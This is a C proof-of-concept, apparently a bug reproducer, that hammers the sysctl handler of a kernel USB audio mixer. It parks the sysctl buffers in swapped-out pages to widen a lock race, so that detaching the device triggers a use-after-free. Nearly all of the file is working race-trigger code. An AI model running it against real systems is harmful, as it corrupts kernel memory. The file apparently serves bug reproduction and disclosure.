/*
 * DF-5253 race hammer v3 - unprivileged.
 *
 * oldp/newp for the mixer sysctl read+write point into a large anonymous
 * mapping that is under swap pressure (see hog.c): by the time the cursor
 * returns to a page it has been paged out, so the in-kernel copyout/copyin
 * inside sysctl_handle_int() takes a swap major fault - blocking the thread
 * for milliseconds exactly between uaudio_mixer_sysctl_handler()'s first
 * lockmgr release (uaudio.c:2764) and its second lockmgr (uaudio.c:2772).
 * Detaching the USB audio device in that window frees sc_mixer_lock
 * (snd_mtxfree in mixer_uninit) and the second lockmgr + pmc->wData write
 * operate on freed memory.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *ctls[3] = {
		"dev.pcm.0.mixer.vol_0_0.val",
		"dev.pcm.0.mixer.vol_0_1.val",
		"dev.pcm.0.mixer.mute_1.val",
	};
	size_t ps = 4096;
	size_t len = (argc > 1) ? ((size_t)atoi(argv[1]) << 20) : (384u << 20);
	char *map;
	char *oldp, *newp;
	size_t off = 0;
	uint64_t slow = 0;
	size_t ol, nl;
	unsigned long n = 0;
	int i;
	char path[128];

	map = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE,
	    -1, 0);
	if (map == MAP_FAILED) { perror("mmap"); return 1; }
	memset(map, 1, len);		/* commit everything once */

	snprintf(path, sizeof(path), "/tmp/hammerc3.%d.count", (int)getpid());
	for (;;) {
		for (i = 0; i < 3; i++) {
			/* advance slowly: pages behind the cursor go idle
			 * and get swapped out; the refault on the next lap
			 * blocks the thread in-kernel inside the window */
			if ((++slow & 63) == 0) {
				off += ps;
				if (off >= len - ps)
					off = 0;
			}
			oldp = map + off;
			newp = map + off + 16;
			ol = 4;
			nl = 4;
			sysctlbyname(ctls[i], oldp, &ol, newp, nl);
		}
		n++;
		if ((n & 0xFFFF) == 0) {
			FILE *f = fopen(path, "w");
			if (f) { fprintf(f, "%lu\n", n); fclose(f); }
		}
	}
}
